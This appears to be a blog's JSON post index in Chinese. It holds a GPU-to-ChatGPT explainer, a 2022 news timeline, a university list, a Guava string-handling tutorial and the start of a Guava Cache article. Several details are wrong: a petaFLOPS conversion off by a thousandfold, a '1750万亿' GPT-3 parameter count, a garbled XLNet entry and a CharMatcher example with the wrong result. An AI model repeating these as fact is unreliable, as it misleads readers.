算力是最强的，比如 A100 GPU 算力是 10.5 petaFLOPS，而 AMD 的 MI100 GPU 算力是 7.5 petaFLOPS。\n不明白什么意思？Peta 是计量单位之一，它代表的是 10 的 15 次方。因此，1 petaFLOPS（PFLOPS）表示每秒可以完成 10 的 15 次浮点运算。所以，A100 GPU 算力为 10.5 petaFLOPS，意味着它可以每秒完成 10.5 万亿次浮点运算。\nAI 什么是人工智能 (Artificial Intelligence-AI)？\n人工智能是指一种计算机技术，它使得计算机系统可以通过学习、推理、自适应和自我修正等方法，模拟人类的智能行为，以实现类似于人类的智能水平的一系列任务。这些任务包括语音识别、自然语言处理、图像识别、机器翻译、自动驾驶、智能推荐和游戏等。人工智能的核心是机器学习，它是通过使用大量数据和算法训练计算机系统，使其能够识别模式、做出预测和决策。人工智能还涉及到其他领域，如自然语言处理、计算机视觉、机器人技术、知识表示和推理等。人工智能被广泛应用于各种领域，如医疗、金融、交通、制造业、媒体和游戏等，为这些领域带来了更高的效率和创新。\n人工智能细分领域\n人工智能领域有很多分支领域，以下列举一些比较常见的：\n机器学习（Machine Learning）：研究如何通过算法和模型让计算机从数据中学习和提取规律，以完成特定任务。 深度学习（Deep Learning）：是机器学习的一种，使用多层神经网络来学习特征和模式，以实现对复杂任务的自动化处理。 自然语言处理（Natural Language Processing, NLP）：研究如何让计算机理解、分析、处理人类语言的方法和技术。 计算机视觉（Computer Vision）：研究如何让计算机“看懂”图像和视频，并从中提取有用的信息和特征。 机器人学（Robotics）：研究如何设计、构建和控制机器人，让它们能够完成特定任务。 强化学习（Reinforcement Learning）：是一种机器学习的方法，通过与环境的交互和反馈来学习最优行动策略。 知识图谱（Knowledge Graph）：是一种将知识以图谱的形式进行组织、表示和推理的方法，用于实现智能搜索、推荐等应用。 语音识别（Speech Recognition）：研究如何让计算机识别和理解人类语音，以实现语音输入、语音控制等功能。 当然以上这些分支领域互相也有交叉和相互影响，比如深度学习在计算机视觉、自然语言处理和语音识别等领域都有应用；计算机视觉和自然语言处理也经常结合在一起，比如在图像字幕生成和图像问答等任务中。此外，人工智能还与其他领域如控制工程、优化学、认知科学等存在交叉。\nNLP 我们具体地来看一下自然语言处理（NLP）这个分支领域，它是人工智能的一个重要分支，也是人工智能技术在实际应用中最为广泛的应用之一。\nNLP（Natural Language Processing，自然语言处理）旨在让计算机能够理解、解析、生成和操作人类语言。\nNLP 技术可以用于文本分类、情感分析、机器翻译、问答系统、语音识别、自动摘要、信息抽取等多个方面。实现 NLP 技术通常需要使用一些基础的机器学习算法，例如文本预处理、词嵌入（word embedding）、分词、词性标注、命名实体识别等等。这些算法可以从大量的语料库中学习到语言的结构和规律，并通过统计分析和机器学习模型进行自然语言的处理和应用。\n近年来，随着深度学习技术的发展，NLP 领域也出现了一些基于深度学习的新模型，例如 Transformer 模型和 BERT 模型等。这些模型通过使用大规模语料库进行预训练，可以在多个 NLP 任务中取得优秀的表现。同时，也涌现了一些新的应用领域，例如对话系统、智能客服、智能写作、智能问答等。\nTransformer 是什么？\n上文我们提到人工智能的分支领域之间会有交叉，Transformer 算是深度学习和 NLP 的交叉领域。\nTransformer 模型是深度学习中的一种神经网络模型，该模型是由 Google 开源的。\nTransformer 模型最初是在 2017 年发表的论文\u0026quot;Attention Is All You Need\u0026quot;中提出的，随后被加入到 TensorFlow 等深度学习框架中，方便了广大开发者使用和扩展。目前，Transformer 模型已经成为自然语言处理领域中最流行的模型之一。\n“\nTensorFlow 是一种用于实现神经网络模型的开源深度学习框架。因此，可以使用 TensorFlow 实现 Transformer 模型。实际上，TensorFlow 团队已经提供了一个名为“Tensor2Tensor”的库，其中包含了 Transformer 模型的实现。此外，许多研究人员和工程师也使用 TensorFlow 实现自己的 Transformer 模型，并将其用于各种 NLP 任务中。\n”\nTransformer 特别擅长处理序列数据，其中包括了 NLP 领域的自然语言文本数据。在 NLP 领域中，Transformer 模型被广泛应用于各种任务，例如机器翻译、文本摘要、文本分类、问答系统、语言模型等等。相比于传统的基于循环神经网络（RNN）的模型，Transformer 模型通过使用注意力机制（self-attention）和多头注意力机制（multi-head attention）来建模序列中的长程依赖性和关系，有效地缓解了 RNN 模型中梯度消失和梯度爆炸的问题，从而在 NLP 任务上取得了很好的表现。因此，可以说 Transformer 是 NLP 领域中的一种重要的深度学习模型，也是现代 NLP 技术的重要组成部分。\nTransformer 模型的实现\nTransformer 模型只是一个抽象的概念和算法框架，具体的实现还需要考虑许多细节和技巧。在实际应用中，需要根据具体的任务和数据集进行模型的设计、参数调整和训练等过程。此外，还需要使用特定的软件框架（如 TensorFlow、PyTorch 等）进行实现和优化，以提高模型的效率和准确性。\n实现 Transformer 模型可以使用深度学习框架，如 TensorFlow、PyTorch 等。一般来说，实现 Transformer 模型的步骤如下：\n数据准备：准备训练和测试数据，包括语料数据和标签数据等。模型架构设计：确定模型的结构，包括 Transformer 的编码器和解码器部分，以及注意力机制等。 模型训练：使用训练数据对模型进行训练，并对模型进行调优，以达到较好的预测效果。 模型评估：使用测试数据对模型进行评估，包括损失函数的计算、精度、召回率、F1 值等。 模型部署：将训练好的模型部署到生产环境中，进行实际的应用。 业界流行的实现方式是使用深度学习框架，如 TensorFlow 或 PyTorch，在现有的 Transformer 模型代码基础上进行二次开发，以满足自己的需求。同时，也有一些第三方的 Transformer 库，如 Hugging Face 的 Transformers 库，可供直接使用，方便快捷。\n还有没有其他模型 ？\n类似于 Transformer 的模型有许多，其中一些主要的模型包括：\nBERT（Bidirectional Encoder Representations from Transformers）：BERT 是由 Google 在 2018 年推出的预训练语言模型，采用了 Transformer 模型的编码器部分，并使用双向的 Transformer 模型来对输入的文本进行建模。 GPT（Generative Pre-trained Transformer）：GPT 是由 OpenAI 在 2018 年推出的预训练语言模型，采用了 Transformer 模型的解码器部分，主要用于生成文本。 XLNet：XLNet 是由 CMU、Google 和 Carnegie Mellon University 的研究人员在 2019 年提出的一种预训练语言模型，它使用了自回归 Transformer 模型和自回归 Transformer 模型的结合，具有更好的生成性能和语言理解能力。 T5（Text-to-Text Transfer Transformer）：T5 是由 Google 在 2019 年推出的一种基于 Transformer 的通用文本转换模型，可以处理各种 NLP 任务，如文本分类、问答、文本摘要等。 RoBERTa（Robustly Optimized BERT Pretraining Approach）：RoBERTa 是 Facebook 在 2019 年推出的预训练语言模型，它通过对 BERT 训练过程进行优化，提高了在多种 NLP 任务上的性能表现。 这些模型都基于 Transformer 架构，并通过不同的优化和改进来提高性能和应用范围。下面一张图是模型的家族树：\nGPT 模型\n2018 年 OpenAI 公司基于 Transformer 结构推出 GPT-1 （Generative Pre-training Transformers, 创造型预训练变换模型），参数量为 1.17 亿个，GPT-1 超越 Transformer 成为业内第一。2019 年至 2020 年，OpenAI 陆续发布 GPT-2、GPT-3，其参数量分别达 到 15 亿、1750 亿，其中，GPT-3 训练过程中直接以人类自然语言作为指令，显著提升了 LLM 在多种语言场景中的性能。\nChatGPT ChatGPT 是美国 OpenAI 公司研发的对话 AI 模型，是由人工智能技术支持的自然语言处理（NLP，Natural Language Processing）工具，于 2022 年 11 月 30 日正式发布。它能够学习、理解人类语言，并结合对话上下文，与人类聊天互动，也可撰写稿件、翻译文字、编程、编写视频脚本等。截至 2023 年 1 月底，ChatGPT 月活用户已高达 1 亿，成为史上活跃用户规模增长最快的应用\n与现存的其他同类产品相比，ChatGPT 的独特优势在于：\n基于 GPT-3.5 架构，运用海量语料库训练模型，包括真实生活中的对话，使 ChatGPT 能做到接近与人类聊天 应用新技术 RLHF （Reinforcement Learning with Human Feedback，基于人类反馈的强化学习），从而能更准确地理解并遵循人类的思维、价值观与需求 可在同一阶段内完成模型训练 具有强大算力、自我学习能力和适应性，且预训练通用性较高 可进行连续多轮对话，提升用户体验 更具独立批判性思维，能质疑用户问题的合理性，也能承认自身知识的局限性，听取用户意见并改进答案。 GPT-3.5\nChatGPT 使用的 GPT-3.5 模型是在 GPT-3 的基础上加入 Reinforcement Learning from Human Feedback（RLHF，人类反馈强化学习）技术和近段策略优化算法，其目的是从真实性、无害性和有用性三个方面优化输出结果，降低预训练模型生成种族歧视、性别歧视等有害内容的风险。\nChatGPT 训练的过程主要有三个阶段。\n第一步是训练监督策略，人类标注员对随机抽取的提示提供预期结果，用监督学习的形式微调 GPT-3.5，生成 Supervised Fine-Tuning（SFT）模型，使 GPT-3.5 初步理解指令，这一步与先前的 GPT-3 模型训练方式相同，类似于老师为学生提供标答的过程。 第二步是奖励模型，在 SFT 模型中随机抽取提示并生成数个结果，由人类标注员对结果的匹配程度进行排序，再将问题与结果配对成数据对输入奖励模型进行打分训练，这个步骤类似于学生模拟标答写出自己的答案，老师再对每个答案进行评分。 第三步是 Proximal Policy Optimization（PPO，近段策略优化），也是 ChatGPT 最突出的升级。模型通过第二步的打分机制，对 SFT 模型内数据进行训练，自动优化迭代，提高 ChatGPT 输出结果的质量，即是学生根据老师反馈的评分，对自己的作答进行修改，使答案更接近高分标准。 ChatGPT 的优势在于：\n使用 1750 万亿参数的 GPT-3 为底层模型进行预训练，为全球最大的语言模型之一 算力上得到微软支持，使用上万片 NVIDIA A100 GPU 进行训练，模型的运行速度得到保障（从这里就看出硬件的重要性了，A100 “卡脖子”确实很难受，不过之前各厂都囤货了，短期应该能满足现状，而且作为 A00 的平替 A800 即将出货，训练效率快速提升，应该也能满足需求。) 算法上使用奖励模型和近端优化策略进行迭代优化， 将输出结果与人类预期答案对齐，减少有害性、歧视性答案，使 ChatGPT 更拟人化，让用户感觉沟通的过程更流畅。 GPT-4\n据德国媒体 Heise 消息，当地时间 3 月 9 日一场人工智能相关活动上，四名微软德国员工在现场介绍了包括 GPT 系列在内的大语言模型（LLM），在活动中，微软德国首席技术官 Andreas Braun 表示 GPT-4 即将发布。\nGPT-4 已经发展到基本上「适用于所有语言」：你可以用德语提问，然后用意大利语得到答案。借助多模态，微软和 OpenAI 将使「模型变得全面」。将提供完全不同的可能性，比如视频。\nAIGC 模型\n在人工智能内容生成领域，除了 OpenAI, 还有其他玩家，来看一下目前头部玩家的情况：\n人工智能突破摩尔定律\n“\n摩尔定律是由英特尔公司创始人之一戈登·摩尔于 1965 年提出的一项预测。这项预测认为，在集成电路上可容纳的晶体管数量每隔 18 至 24 个月会翻一番，而成本不变或者成本减少。\n简单来说，摩尔定律预测了随着时间的推移，计算机芯片上能集成的晶体管数量将以指数级别增长，而成本将持续降低。这意味着计算机性能将在同样的芯片面积上不断提高，同时计算机的成本也会不断降低。\n摩尔定律在过去几十年的计算机工业中发挥了重要的作用，它是计算机发展的重要标志之一，但近年来随着摩尔定律趋于极限，一些人开始怀疑其可持续性。\n”\n摩尔定律的定义归纳起来，主要有以下三种版本：\n集成电路上可容纳的晶体管数目，约每隔 18 个月便增加一倍。 微处理器的性能每隔 18 个月提高一倍，或价格下降一半。 相同价格所买的电脑，性能每隔 18 个月增加一倍。 随着模型的迭代，对算力的需求也越来越大了：\n目前看人工智能对算力的需求已经突破了摩尔定律\n未来 目前我已在编程、邮件书写、知识学习等多个场景开始使用 chatGPT,未来有计划开发 chatGPT的应用程序，让更多人能够体验到 chatGPT 的魅力。\n未来已来，缺少的不是技术，而是想象力！\n参考 https://blogs.nvidia.com/blog/2009/12/16/whats-the-difference-between-a-cpu-and-a-gpu/ https://www.zhihu.com/question/19903344 https://www.sec.gov/Archives/edgar/data/1045810/000104581022000146/nvda-20220826.htm https://blogs.nvidia.com/blog/2022/03/25/what-is-a-transformer-model/ https://proceedings.neurips.cc/paper/2017/file/3f5ee243547dee91fbd053c1c4a845aa-Paper.pdf ","date":"2023-03-11T18:00:25Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2023-03-11-cong-gpu-dao-chatgpt/cover.jpg","permalink":"/p/2023-03-11-cong-gpu-dao-chatgpt/","title":"从 GPU 到 ChatGPT"},{"content":" “\n2022年还有3天就结束了，我一直以为我是一个表达欲很强的人，在经历过新冠阳性以后，我越发的不想说话，所以我想用全年的新闻事件来回顾一下这个特殊的年份。让实事代替我表达吧。\n”\n第一季度 1月2日 梅西确诊感染新冠病毒\n1月3日 巴西著名球星罗纳尔多确诊新冠肺炎\n1月16日 汤加海底火山剧烈喷发 美日澳等多国发布海啸预警\n2月4日 2022年北京冬奥会盛大开幕\n2月17日 江苏省委省政府成立“丰县生育八孩女子”事件调查组\n2月20日 北京2022年冬奥会举行闭幕式\n英国女王伊丽莎白二世确诊新冠\n2月24日 俄罗斯 乌克兰 正式开战\n乌克兰国民卫队司令部被摧毁\n3月4日 俄乌双方就临时停火达成一致 但乌方称没有得到希望的结果\n3月14日 美国前总统奥巴马13日说，他新冠病毒检测结果呈阳性\n3月22日 东航波音737客机在梧州藤县坠毁\n3月31日 上海：全域静态管理\n第二季度 5月5日 北京市朝阳全区实行居家办公\n6月1日 6月1日起上海将全面恢复全市正常生产生活秩序\n6月6日 6月6日0时~15时，北京市无新增本土新冠肺炎病毒感染者。\n6月22日 因唐山打人事件 ，唐山“全国文明城市”资格被停止\n第三季度 7月7日 英国首相将宣布辞职\n7月8日 日本前首相安倍晋三因伤势过重不治身亡\n7月21日 白宫：美国总统拜登新冠病毒检测结果呈阳性\n7月29日 每日优鲜“原地解散”，922人的漫长一夜\n8月2日 佩洛西窜访台湾\n中国人民解放军自8月2日开始在台岛周边开展一系列联合军事行动\n8月30日 日本企业家稻盛和夫去世\n8月31日 戈尔巴乔夫去世\n9月9日 英国女王伊丽莎白二世去世 查尔斯继承王位\n第四季度 10月16日 中国共产党第二十次全国代表大会 开幕\n10月23日 中国共产党第二十届中央政治局常委同中外记者见面\n11月10日 中央部署进一步优化防控工作的二十条措施\n11月21日 2022年卡塔尔世界杯开赛\n11月24日 乌鲁木齐市天山区吉祥苑小区一高层住宅楼发生火灾，造成10人死亡、9人受伤。\n12月1日 江泽民同志逝世 享年96岁\n12月7日 国务院联防联控机制综合组重磅发布《关于进一步优化落实新冠肺炎疫情防控措施的通知》，提出十条针对性措施，简称“新十条”\n12月18日 阿根廷队夺得卡塔尔世界杯冠军\n12月26日 新冠病毒感染将自2023年1月8日起由“乙类甲管”调整为“乙类乙管”，这是我国新冠疫情防控政策的一次重大调整。\n","date":"2022-12-28T01:47:22Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2022-12-28-2022-nian-xin-wen-hui-gu/cover.jpg","permalink":"/p/2022-12-28-2022-nian-xin-wen-hui-gu/","title":"2022年新闻回顾"},{"content":" 南京传媒大学 吉林大学 西安外国语大学 华中科技大学 深圳大学 西安理工大学 中国美术学院 西北政法大学 上海大学 上海交通大学 中国石油大学 四川美术学院 四川传媒学院 中国政法大学 暨南大学 南京林业大学 浙江万里学院 四川电影电视学院 河北传媒学院 中国人民大学 华中科技大学同济医学院 湖南大学 中国矿业大学 广州美术学院 西安美术学院 武汉大学 重庆大学 四川外国语大学 华中师范大学 南京艺术学院 青岛电影学院 华东政法大学 浙江传媒学院 中国戏曲学院 中央戏剧学院 武汉理工大学 山东大学 复旦大学 天津美术学院 中山大学 浙江大学 华南理工大学 上海戏剧学院 东北农业大学 北京电影学院 广州美术学院 北京航空航天大学 成都大学 四川师范大学 北京服装学院 鲁迅美术学院 ","date":"2022-11-27T06:36:23Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2022-11-27-shanghai-wulumuqi-rd-m/cover.jpg","permalink":"/p/2022-11-27-shanghai-wulumuqi-rd-m/","title":"ShangHai Wulumuqi Rd.(M)"},{"content":"Joiner Guava Joiner 顾名思义就是将字符串连接起来\n1 Joiner joiner = Joiner.on(\u0026#34;; \u0026#34;).skipNulls(); 2 3 System.out.println(joiner.join(\u0026#34;Harry\u0026#34;, null, \u0026#34;Ron\u0026#34;, \u0026#34;Hermione\u0026#34;)); 4 5 //可以传集合、数组或多个参数 6 List\u0026lt;Integer\u0026gt; nums = List.of(1, 2, 3, 4, 5); 7 System.out.println(joiner.join(nums)); 输出：\n1Harry; Ron; Hermione 21; 2; 3; 4; 5 上面代码中忽略了 null 也可以将 null 替换为其他字符串，比如：\n1System.out.println(Joiner.on(\u0026#34;; \u0026#34;).useForNull(\u0026#34;**\u0026#34;).join(1,2,3,null)); Joiner 是线程安全的，一般你可以定义一个 static final的常量：\n1static final Joiner joiner = Joiner.on(\u0026#34;,\u0026#34;); 还可以将 map 也 join 起来：\n1 Joiner.MapJoiner mapJoiner = Joiner.on(\u0026#34;; \u0026#34;).withKeyValueSeparator(\u0026#34;|\u0026#34;); 2 Map\u0026lt;String, Integer\u0026gt; testMap = Map.of(\u0026#34;a\u0026#34;, 1, \u0026#34;b\u0026#34;, 2); 3 System.out.println(mapJoiner.join(testMap)); 输出：\n1b|2; a|1 其他 Joiner JDK 自身也有 String 的 Joiner API：\n1 String PREFIX = \u0026#34;[\u0026#34;; 2 String SUFFIX = \u0026#34;]\u0026#34;; 3 StringJoiner jdkJoiner = new StringJoiner(\u0026#34;,\u0026#34;); 4 StringJoiner jdkJoiner2 = new StringJoiner( 5 \u0026#34;,\u0026#34;, PREFIX, SUFFIX); 6 7 System.out.println(jdkJoiner2.add(\u0026#34;a\u0026#34;).add(\u0026#34;b\u0026#34;).add(\u0026#34;c\u0026#34;).toString()); 可以添加前、后缀，但元素只能一个一个 add，没有 guava 方便 。\n如果你是简单的 join 需求，使用 JDK8 以后的 API，直接用 Stream 就完了。\n1 //use java8 stream 2 List\u0026lt;String\u0026gt; rgbList = Arrays.asList(\u0026#34;Red\u0026#34;, \u0026#34;Green\u0026#34;, \u0026#34;Blue\u0026#34;); 3 String commaSeparatedRGB = rgbList.stream() 4 .map(color -\u0026gt; color.toString()) 5 .collect(Collectors.joining(\u0026#34;,\u0026#34;)); 6 7 System.out.println(commaSeparatedRGB); 总结 简单 join 直接 stream 流式一行代码搞定，特殊点的看看 Guava 的 joiner 支不支持，一般 Guava 的 Joiner 够用了。再搞不定的自己写个工具类方法吧。\nSplitter JDK 内建 JDK 内建的字符串拆分工具有一些古怪的特性。比如，String.split悄悄丢弃了尾部的分隔符。\n1System.out.println(Arrays.toString(\u0026#34;,a,,b,\u0026#34;.split(\u0026#34;,\u0026#34;))); 2 3//输出 [, a, , b] 当然还有 StringTokenizer 这种更繁琐的东西：\n1 String str = \u0026#34;runoob,google,taobao,facebook,zhihu\u0026#34;; 2 // 以 , 号为分隔符来分隔字符串 3 StringTokenizer st=new StringTokenizer(str,\u0026#34;,\u0026#34;); 4 while(st.hasMoreTokens()) { 5 System.out.println(st.nextToken()); 6 } Guava Splitter Splitter使用令人放心的、直白的流畅 API 模式对这些混乱的特性作了完全的掌控。\n1Iterable\u0026lt;String\u0026gt; split = Splitter.on(\u0026#39;,\u0026#39;) 2 .trimResults() 3 .omitEmptyStrings() 4 .split(\u0026#34;foo,bar,, qux\u0026#34;); 5 6System.out.println(split.toString()); 7 8//输出 [foo, bar, qux] Splitter 可以被设置为按照任何 Pattern, char, String, 或者 CharMatcher拆分。\n方法 描述 范例 Splitter.on(char) 按单个字符拆分 Splitter.on(\u0026rsquo;;') Splitter.on(CharMatcher) 按字符匹配器拆分 Splitter.on(CharMatcher.anyOf(\u0026quot;;,.\u0026quot;)) Splitter.on(String) 按字符串拆分 Splitter.on(\u0026quot;,\u0026quot;) Splitter.on(Pattern) Splitter.onPattern(String) 按正则表达式拆分 Splitter.onPattern(\u0026quot;\\r?\\n\u0026quot;) Splitter.fixedLength(int) 按固定长度拆分；最后一段可能比给定长度短，但不会为空。 Splitter.fixedLength(3) 列举一些 Splitter 的方法\n方法 描述 omitEmptyStrings() 从结果中自动忽略空字符串 trimResults() 移除结果字符串的前导空白和尾部空白 trimResults(CharMatcher) 给定匹配器，移除结果字符串的前导匹配字符和尾部匹配字符 limit(int) 限制拆分出的字符串数量 注意 trimResults(CharMatcher) ，它是把所有前导字符干掉外加尾部能匹配上的字符，举个例子：\n1// 可以看到，前缀都没了，尾部与 “_” 匹配上的只有 “c__”，所以干掉了一个 “_”，剩下 “c_” 2System.out.println(Splitter.on(\u0026#39;,\u0026#39;).trimResults(CharMatcher.is(\u0026#39;_\u0026#39;)).split(\u0026#34;_a ,_b_ ,c__\u0026#34;).toString()); 上面的代码返回 ：[a , b_ , c] ，\n同 Joiner 一样，Splitter实例也是线程安全的，所以可以定义为 static final\n1static final Splitter splitter = Splitter.on(\u0026#34;,\u0026#34;).omitEmptyStrings().trimResults(); 还可以利用 MapSplitter 把字符串反序列化成 Map，例如：\n1 @Test 2 public void testMapSplitter() { 3 4 String startSring = \u0026#34;Washington D.C=Redskins#New York City=Giants#Philadelphia=Eagles#Dallas=Cowboys\u0026#34;; 5 Map\u0026lt;String, String\u0026gt; testMap = Maps.newLinkedHashMap(); 6 testMap.put(\u0026#34;Washington D.C\u0026#34;, \u0026#34;Redskins\u0026#34;); 7 testMap.put(\u0026#34;New York City\u0026#34;, \u0026#34;Giants\u0026#34;); 8 testMap.put(\u0026#34;Philadelphia\u0026#34;, \u0026#34;Eagles\u0026#34;); 9 testMap.put(\u0026#34;Dallas\u0026#34;, \u0026#34;Cowboys\u0026#34;); 10 Splitter.MapSplitter mapSplitter = Splitter.on(\u0026#34;#\u0026#34;).withKeyValueSeparator(\u0026#34;=\u0026#34;); 11 Map\u0026lt;String, String\u0026gt; splitMap = mapSplitter.split(startSring); 12 13 assertEquals(testMap, splitMap); 14 } CharMatcher Guava 为我们提供了字符匹配器，你可以认为一个CharMatcher实例代表着某一类字符，如数字或空白字符。CharMatcher 还提供了一系列方法，让你对字符进行特定类型的操作：修剪 [trim]、折叠 [collapse]、移除 [remove]、保留 [retain] 等等。\n所以使用 CharMatcher，大致分两步\n第一步：定义 CharMatcher，定义怎样算“匹配” 到字符 第二步：如何处理匹配到的这些字符 下面我们用一些小例子来说明：\n将 \u0026quot; 1 2 3 4 6 9 \u0026quot; 转换成 \u0026ldquo;1 2 3 4 6 9\u0026rdquo; 去掉多余的空格，用空格间隔每个字符\n1// 我们先定义“空白” 然后折叠连续的空白并用一个空格代替，同时修剪掉首尾的空格 2String tmpStr = \u0026#34; 1 2 3 4 6 9 \u0026#34; ; 3String result = CharMatcher.whitespace().trimAndCollapseFrom(tmpStr,\u0026#39; \u0026#39;); 4System.out.println(result); 获取 0-6 范围内的数字字符\n1String tmpStr = \u0026#34;df67sn18kj9\u0026#34; ; 2String result = CharMatcher.inRange(\u0026#39;0\u0026#39;,\u0026#39;6\u0026#39;).retainFrom(tmpStr) ; 3System.out.println( result); 获取 d-k 范围内的数字字符\n1String tmpStr = \u0026#34;df67sn18kj9\u0026#34; ; 2String result = CharMatcher.inRange(\u0026#39;d\u0026#39;,\u0026#39;k\u0026#39;).retainFrom(tmpStr) ; 3System.out.println( result); 去掉特殊字符\n1String input = \u0026#34;H*el.lo,}12\u0026#34;; 2CharMatcher matcher = CharMatcher.javaLetterOrDigit(); 3String result = matcher.retainFrom(input); 4 5assertEquals(\u0026#34;Hello12\u0026#34;, result); 去掉非 ASCII 码字符\n1String input = \u0026#34;あ hello₤\u0026#34;; 2 3String result = CharMatcher.ascii().retainFrom(input); 4assertEquals(\u0026#34;hello\u0026#34;, result); 5 6result = CharMatcher.inRange(\u0026#39;0\u0026#39;, \u0026#39;z\u0026#39;).retainFrom(input); 7assertEquals(\u0026#34;hello\u0026#34;, result); 过滤或筛选字符串中的汉字\n1 //单字节匹配器（汉字是双字节） 不要汉字 2 System.out.println(\u0026#34;去除双字节，获取单字节：\u0026#34; + CharMatcher.singleWidth().retainFrom(matchStr)); 3 //只留汉字 4 System.out.println(\u0026#34;去除单字节，获取双字节：\u0026#34; + CharMatcher.singleWidth().removeFrom(matchStr)); 方法分类 看完上面的例子，你可能对 CharMatcher 的方法感兴趣了，CharMatcher 一类分三类\n第一类是判定型函数，判断 CharMacher 和入参字符串的匹配关系。\n1CharMatcher.is(\u0026#39;a\u0026#39;).matchesAllOf(\u0026#34;aaa\u0026#34;);//true 2CharMatcher.is(\u0026#39;a\u0026#39;).matchesAnyOf(\u0026#34;aba\u0026#34;);//true 3CharMatcher.is(\u0026#39;a\u0026#39;).matchesNoneOf(\u0026#34;aba\u0026#34;);//true 第二类是计数型函数，查找入参字符串中第一次、最后一次出现目标字符的位置，或者目标字符出现的次数，比如 indexIn，lastIndexIn 和 countIn。\n1CharMatcher.is(\u0026#39;a\u0026#39;).countIn(\u0026#34;aaa\u0026#34;); // 3 2CharMatcher.is(\u0026#39;a\u0026#39;).indexIn(\u0026#34;java\u0026#34;); // 1 第三类就是对匹配字符的操作。包括 removeFrom、retainFrom、replaceFrom、trimFrom、collapseFrom 等。\n方法清单 拉个单子方便查\n| |\n方法 描述 CharMatcher is(char match) 返回匹配指定字符的 Matcher CharMatcher isNot(char match) 返回不匹配指定字符的 Matcher CharMatcher anyOf(CharSequence sequence) 返回匹配 sequence 中任意字符的 Matcher CharMatcher noneOf(CharSequence sequence) 返回不匹配 sequence 中任何一个字符的 Matcher CharMatcher inRange(char startInclusive, char endIncludesive) 返回匹配范围内任意字符的 Matcher CharMatcher forPredicate(Predicate\u0026lt;? super Charater\u0026gt; predicate) 返回使用 predicate 的 apply() 判断匹配的 Matcher CharMatcher negate() 返回以当前 Matcher 判断规则相反的 Matcher CharMatcher and(CharMatcher other) 返回与 other 匹配条件组合做与来判断的 Matcher CharMatcher or(CharMatcher other) 返回与 other 匹配条件组合做或来判断的 Matcher boolean matchesAnyOf(CharSequence sequence) 只要 sequence 中有任意字符能匹配 Matcher, 返回 true boolean matchesAllOf(CharSequence sequence) sequence 中所有字符都能匹配 Matcher, 返回 true boolean matchesNoneOf(CharSequence sequence) sequence 中所有字符都不能匹配 Matcher, 返回 true int indexIn(CharSequence sequence) 返回 sequence 中匹配到的第一个字符的坐标 int indexIn(CharSequence sequence, int start) 返回从 start 开始，在 sequence 中匹配到的第一个字符的坐标 int lastIndexIn(CharSequence sequence) 返回 sequence 中最后一次匹配到的字符的坐标 int countIn(CharSequence sequence) 返回 sequence 中匹配到的字符计数 String removeFrom(CharSequence sequence) 删除 sequence 中匹配到到的字符并返回 String retainFrom(CharSequence sequence): 保留 sequence 中匹配到的字符并返回 String replaceFrom(CharSequence sequence, char replacement) 替换 sequence 中匹配到的字符并返回 String trimFrom(CharSequence sequence) 删除首尾匹配到的字符并返回 String trimLeadingFrom(CharSequence sequence) 删除首部匹配到的字符 String trimTrailingFrom(CharSequence sequence) 删除尾部匹配到的字符 String collapseFrom(CharSequence sequence, char replacement) 将匹配到的组（连续匹配的字符）替换成 replacement String trimAndCollapseFrom(CharSequence sequence, char replacement) 先 trim 在 replace CaseFormat CaseFormat 被用来方便地在各种 ASCII 大小写规范间转换字符串——比如，编程语言的命名规范。CaseFormat 支持的格式如下：\n格式 范例 LOWER_CAMEL lowerCamel LOWER_HYPHEN lower-hyphen LOWER_UNDERSCORE lower_underscore UPPER_CAMEL UpperCamel UPPER_UNDERSCORE UPPER_UNDERSCORE CaseFormat 的用法很直接：\n1CaseFormat.UPPER_UNDERSCORE.to(CaseFormat.LOWER_CAMEL, \u0026#34;CONSTANT_NAME\u0026#34;)); // returns \u0026#34;constantName\u0026#34; CaseFormat 在某些时候尤其有用，比如编写代码生成器的时候。\nStrings Strings 工具类也提供了许多好用的处理字符串的方法，比如简单和见名知义就不多说了。\n参考 https://www.runoob.com/w3cnote/java-stringtokenizer-intro.html https://www.baeldung.com/guava-string-charmatcher https://github.com/google/guava/wiki/StringsExplained#splitter https://mindawei.github.io/2018/03/17/Guava 学习之 CharMatcher/ ","date":"2022-10-02T05:52:52Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2022-10-02-gen-zhe-guava-xue-java-zhi-zi-fu-chuan-chu-li/cover.jpg","permalink":"/p/2022-10-02-gen-zhe-guava-xue-java-zhi-zi-fu-chuan-chu-li/","title":"跟着 Guava 学 Java 之字符串处理"},{"content":"本文我们先介绍一些缓存的背景知识，以及内存缓存的流行开源库类实现，最后利用一些例子重点介绍下 Guava Cache 的缓存功能。\n背景 什么是缓存 “\n在计算中，缓存是一个高速数据存储层，其中存储了数据子集，且通常是短暂性存储，这样日后再次请求该数据时，速度要比访问数据的主存储位置快。通过缓存，可以高效地重用之前检索或计算的数据。\n”\n本文中所提及的缓存主要是指内存缓存，跟硬件没什么关系（比如三级缓存什么的），主要是应用代码层面和内存交互的这部分。\n缓存的特点 第一个特点：贼快（操作内存读写当然快了）\n你可能会问了，贼快是多快？嗯，没有对比就没有伤害，我们来看一下不同介质访问数据的时间情况\n看到了吧，RAM 的速度大概是 10-100 纳秒，什么概念？ 1 秒钟等于 10 亿纳秒，这速度快到你根本感觉不到。\n第二个特点：说没就没\n断电立即丢失 超过缓存失效时间 解决什么问题 一般来说，我们利用本地的内存缓存主要可以达到减轻数据库压力、提高系统响应速度和吞吐量的目的。\n总之，如果对某些值的计算或检索成本很高，并且多次需要使用该值时，应该考虑使用缓存。\n内存缓存库类 在 Java 中一提到缓存，我们首先想到的可以用 ConcurrentHashMap做缓存。\n1static ConcurrentHashMap\u0026lt;String,Object\u0026gt; localCache = new ConcurrentHashMap\u0026lt;\u0026gt;(); 为什么要用 ConcurrentHashMap 呢？\n因为首先它是个 Map，这种 K,V 的数据结构很适合用来读写缓存对象，其次它还是线程安全的，多线程并发不会有线程安全问题。\nJava 虽然为我们提供了ConcurrentHashMap 这样合适做缓存的数据结构，但他在功能上却有很多的不足，比如没有 回收、驱逐、监听、刷新等功能。一般来说，我们设计一套完整的缓存方案虽然这些功能，用 ConcurrentHashMap意味着这些功能你要自己开发了。\n在 Java 的生态中有许多库可以帮助我们省去自己开发的麻烦，人家都封装好了，开箱即用，这里我们列举几个知名和常用的，后面我们重点介绍 Guava 的 cache 模块：\nGuava Cache Spring Cache Spring 